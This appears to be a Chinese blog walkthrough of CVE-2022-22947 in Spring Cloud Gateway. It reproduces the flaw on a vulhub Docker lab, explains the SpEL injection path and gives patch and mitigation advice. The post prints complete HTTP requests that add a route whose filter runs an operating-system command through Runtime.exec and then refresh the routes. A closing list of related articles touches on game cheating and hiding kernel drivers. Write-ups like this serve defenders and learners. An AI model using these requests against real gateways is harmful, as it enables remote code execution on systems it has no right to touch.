草庐IT

CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

@Camelus 2023-08-22 原文

目录

(一)基本介绍

1、微服务架构与Spring Cloud

2、Spring Cloud生态

3、网关作用

4、Spring Cloud Gateway使用

5、Spring Cloud Gateway概念

5.1 路由(Route)

5.2 断言(Predicate)

5.3 过滤器(Filter)

6、Spring Boot  Actuator

6.1 使用方法

7、Gateway(网关服务)和Actuator(监控组件)

8、Actuator操作Gateway接口列表

9、总结

(二)漏洞复现

1、启动Spring Cloud Gateway服务

2、添加过滤器

2.1  首先,修改GET /actuator请求,确定actuator端口已经开启

 2.2 修改get请求,获取路由信息GET /actuator/gateway/routes/

 2.3 然后,构造一个post请求包,POST /actuator/gateway/routes/hackest 添加一个包含恶意SpEL表达式的路由:

3、刷新过滤器

​编辑

4、访问过滤器ID

(三)原理分析

分析payload:(hacker的Java学的......)

在哪里执行:

1、ConfigurationService类

 2、ShortcutConfigurable类

 3、getValue()方法

(四)漏洞修补

1、升级更新到以下版本:

2、缓解措施:


         由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢

(一)基本介绍


1、微服务架构与Spring Cloud


        最开始我们去开发Java项目的时候,所有的代码都在一个工程里面。它会打包成一个框架包,部署在github里面,这个我们就叫做单体架构。当我们项目的代码量越来越大,开发成员越来越多的时候,这个时候项目的性能和协同开发的效率都会存在许多的问题,所以对于这样的项目,我们需要把这些项目拆分为不同的服务,包括订单服务、用户服务、商品服务、物流服务......正是因为有了这些服务,引入了网关、注册中心、配置中心......(如图一)

图一

2、Spring Cloud生态


        Spring开发团队在SpringBoot的基础上开发了Spring Cloud全家桶,也就是说我们需要使用的SpringBoot的所有组件都有了现成的解决方案,比如Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul......这次报出漏洞的组件是Gateway

3、网关作用


  • 智能路由
  • 负载均衡
  • 协议转换
  • 权限校验
  • 限流熔断
  • 黑白名单
  • API监控
  • 日志审计

4、Spring Cloud Gateway使用


        在pom.xml引入依赖即可。

<dependency> 
    <groupId>org.springframework.cloud</groupId> 
    <artifactId>spring-cloud-starter-gateway</artifactId>    
</dependency>

5、Spring Cloud Gateway概念


5.1 路由(Route)

        我作为用户访问到网关的时候,会从后面选择一个服务进行访问,根据你的HTTP的协议里面或者服务与服务进行调用的地址里面,根据你的URI进行匹配。

5.2 断言(Predicate)

        相对于URI会更加高级,可以匹配HTTP请求里面的任意内容,比如说你的HTTP的请求头里面包含了什么字段,它的值是什么的时候,就会给你转发到相应的地址;再比如说你请求的参数,不管是GET还是POST,只要我可以匹配得上,就会给你匹配到相应的地址,也是路由的一种方式......

5.3 过滤器(Filter)

        它可以修改HTTP请求及响应的内容,当你HTTP请求或者响应满足什么样的内容的时候,它会修改HTTP的内容.

6、Spring Boot  Actuator


        它是Spring Boot的一个监控的组件,可以对其他Spring Boot的部件进行健康检查、 审计、统计、HTTP追踪......

6.1 使用方法

        在pom文件里面引入依赖即可。

<dependencies>
 <dependency> 
    <groupId>org.springframework.boot</groupId> 
    <artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

7、Gateway(网关服务)和Actuator(监控组件)


        由于Spring Cloud Gateway也是一种微服务的应用,所以说它也可以让Actuator进行监控,添加配置即可:

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

8、Actuator操作Gateway接口列表


http://host:port/actuator/gateway/ id
idHTTP Methoddescription
globalfiltersGET返回全局Filter列表
routefilersGET每个路由的filter
routesGET路由列表
routes/{id}GET指定路由信息
routes/{id}POST创建路由

refresh

POST刷新路由缓存
DELETEPOST删除路由

9、总结


        Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。

        Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

(二)漏洞复现


git pull //更新vulhub

进入环境/vulhub/spring/CVE-2022-22947

1、启动Spring Cloud Gateway服务


docker-compose up -d

 

docker-compose ps //查看端口

 

查看本CentOS的IP

 访问该端口

2、添加过滤器


2.1  首先,修改GET /actuator请求,确定actuator端口已经开启

图二

 2.2 修改get请求,获取路由信息GET /actuator/gateway/routes/

当前只有路由index,该路有默认跳转到uri:http://example.com:80

图三

 2.3 然后,构造一个post请求包,POST /actuator/gateway/routes/hackest 添加一个包含恶意SpEL表达式的路由:

图四

 

POST /actuator/gateway/routes/hackest HTTP/1.1
Host: yourIp:8080
Cache-Control:max-age=0
Upgrade-Insecurce-Requests:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json
Content-Length: 352


{
"id": "wuyaaq",

"filters": [

{
"name": "AddResponseHeader",

"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新过滤器


POST /actuator/gateway/refresh

POST /actuator/gateway/refresh HTTP/1.1 
Host: yourIp:8080 
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Connection: keep-alive 
Content-Length: 3 
Content-Type: application/x-www-form-urlencoded
Origin: null Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 

a=1

 

 

4、访问过滤器ID


 记得关闭:docker-compose down

 

(三)原理分析


           根据上面的演示,我们会产生这样的一个问题,为什么添加过滤器(路由)会导致代码执行?我们一步步进行分析:

        我们在vulhub里面开启了actuator功能,上面第一步我们也检测了actuator端口是否打开(图二),打开之后我们就可以利用此接口,比如说我们用/actuator/gateway/routes列出路由(图三)里面就有默认的路由器,然后通过/gateway/routes/{id_route_to_create}(图四)来添加一个路由,再通过/actuator/gateway/refresh刷新路由,当路由带有恶意的Filter,里面的spEL)(里面文章有详细介绍)表达式会被执行

 

分析payload:(hacker的Java学的......)


#{ new
String( T(org.springframework.util.StreamUtils).copyToByteArray (T(java.lang.Runtime).getRuntime().
exec (new String[]{\"whoami\"}) .getInputStream() ) ) }
  1. (new String[]{\"whoami\"})创建一个字符串,里面有我们想要执行的命令
  2. (java.lang.Runtime).getRuntime(). exec  在Java代码里面我们如果想执行操作系统的命令,都是利用(java.lang.Runtime).getRuntime().exec(  ),getInputStream()得到该执行的结果。
  3. 使用StreamUtils里面的copyToByteArray()的方法,把这个执行的结果转换为字节数组,
  4. 最后再new String把它转换为字符串。

在哪里执行:


1、ConfigurationService类

        normalizeProperties()对参数(value就是参数)进行处理,它会调用normalize的方法。

 2、ShortcutConfigurable类

        它会调用getValue()方法

 3、getValue()方法

         Expression会对spEL表达式进行处理,得到这个表达式,然后从cotext里面拿到值。

(四)漏洞修补


1、升级更新到以下版本:

  • Spring Cloud Gateway >= 3.1.1
  • Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。


 

有关CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 映宇宙2022年营收63亿元:同比下降三成,毛利率提升4.3个百分点 - 2

    3月26日,映宇宙(HK:03700,即“映客”)发布截至2022年12月31日的2022年度业绩财务报告。财报显示,映宇宙2022年的总营收为63.19亿元,较2021年同期的91.76亿元下降31.1%。2022年,映宇宙的经营亏损为4698.7万元,2021年同期则为净利润4.57亿元;期内亏损(净亏损)为1.68亿元,2021年同期的净利润为4.33亿元;非国际财务报告准则经调整净利润为3.88亿元,2021年同期为4.82亿元,同比下降19.6%。 映宇宙在财报中表示,收入减少主要是由于行业竞争加剧,该集团对旗下产品采取更为谨慎的运营策略以应对市场变化。不过,映宇宙的毛利率则有所提升

  3. 建模分析 | 平面2R机器人(二连杆)运动学与动力学建模(附Matlab仿真) - 2

    目录0专栏介绍1平面2R机器人概述2运动学建模2.1正运动学模型2.2逆运动学模型2.3机器人运动学仿真3动力学建模3.1计算动能3.2势能计算与动力学方程3.3动力学仿真0专栏介绍?附C++/Python/Matlab全套代码?课程设计、毕业设计、创新竞赛必备!详细介绍全局规划(图搜索、采样法、智能算法等);局部规划(DWA、APF等);曲线优化(贝塞尔曲线、B样条曲线等)。?详情:图解自动驾驶中的运动规划(MotionPlanning),附几十种规划算法1平面2R机器人概述如图1所示为本文的研究本体——平面2R机器人。对参数进行如下定义:机器人广义坐标

  4. 网站日志分析软件--让网站日志分析工作变得更简单 - 2

    网站的日志分析,是seo优化不可忽视的一门功课,但网站越大,每天产生的日志就越大,大站一天都可以产生几个G的网站日志,如果光靠肉眼去分析,那可能看到猴年马月都看不完,因此借助网站日志分析工具去分析网站日志,那将会使网站日志分析工作变得更简单。下面推荐两款网站日志分析软件。第一款:逆火网站日志分析器逆火网站日志分析器是一款功能全面的网站服务器日志分析软件。通过分析网站的日志文件,不仅能够精准的知道网站的访问量、网站的访问来源,网站的广告点击,访客的地区统计,搜索引擎关键字查询等,还能够一次性分析多个网站的日志文件,让你轻松管理网站。逆火网站日志分析器下载地址:https://pan.baidu.

  5. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  6. ABB-IRB-1200运动学分析MATLAB RVC工具分析+Simulink-Adams联合仿真 - 2

    一、机器人介绍        此处是基于MATLABRVC工具箱,对ABB-IRB-1200型号的微型机械臂进行正逆向运动学分析,并利Simulink工具实现对机械臂进行具有动力学参数的末端轨迹规划仿真,最后根据机械模型设计Simulink-Adams联合仿真。 图1.ABBIRB 1200尺寸参数示意图ABBIRB 1200提供的两种型号广泛适用于各作业,且两者间零部件通用,两种型号的工作范围分别为700 mm 和 900 mm,大有效负载分别为 7 kg 和5 kg。 IRB 1200 能够在狭小空间内能发挥其工作范围与性能优势,具有全新的设计、小型化的体积、高效的性能、易于集成、便捷的接

  7. 关于Qt程序打包后运行库依赖的常见问题分析及解决方法 - 2

    目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'

  8. ruby-on-rails - 如何使用 ruby​​-prof 和 JMeter 分析 Rails - 2

    我想使用ruby​​-prof和JMeter分析Rails应用程序。我对分析特定Controller/操作/或模型方法的建议方法不感兴趣,我想分析完整堆栈,从上到下。所以我运行这样的东西:RAILS_ENV=productionruby-prof-fprof.outscript/server>/dev/null然后我在上面运行我的JMeter测试计划。然而,问题是使用CTRL+C或SIGKILL中断它也会在ruby​​-prof可以写入任何输出之前杀死它。如何在不中断ruby​​-prof的情况下停止mongrel服务器? 最佳答案

  9. 【Unity游戏破解】外挂原理分析 - 2

    文章目录认识unity打包目录结构游戏逆向流程Unity游戏攻击面可被攻击原因mono的打包建议方案锁血飞天无限金币攻击力翻倍以上统称内存挂透视自瞄压枪瞬移内购破解Unity游戏防御开发时注意数据安全接入第三方反作弊系统外挂检测思路狠人自爆实战查看目录结构用il2cppdumper例子2-森林whoishe后记认识unity打包目录结构dll一般很大,因为里面是所有的游戏功能编译成的二进制码游戏逆向流程开发人员代码被编译打包到GameAssembly.dll中使用il2ppDumper工具,并借助游戏名_Data\il2cpp_data\Metadata\global-metadata.dat

  10. 驱动开发:内核无痕隐藏自身分析 - 2

    在笔者前面有一篇文章《驱动开发:断链隐藏驱动程序自身》通过摘除驱动的链表实现了断链隐藏自身的目的,但此方法恢复时会触发PG会蓝屏,偶然间在网上找到了一个作者介绍的一种方法,觉得有必要详细分析一下他是如何实现的进程隐藏的,总体来说作者的思路是最终寻找到MiProcessLoaderEntry的入口地址,该函数的作用是将驱动信息加入链表和移除链表,运用这个函数即可动态处理驱动的添加和移除问题。MiProcessLoaderEntry(pDriverObject->DriverSection,1)添加MiProcessLoaderEntry(pDriverObject->DriverSection,

随机推荐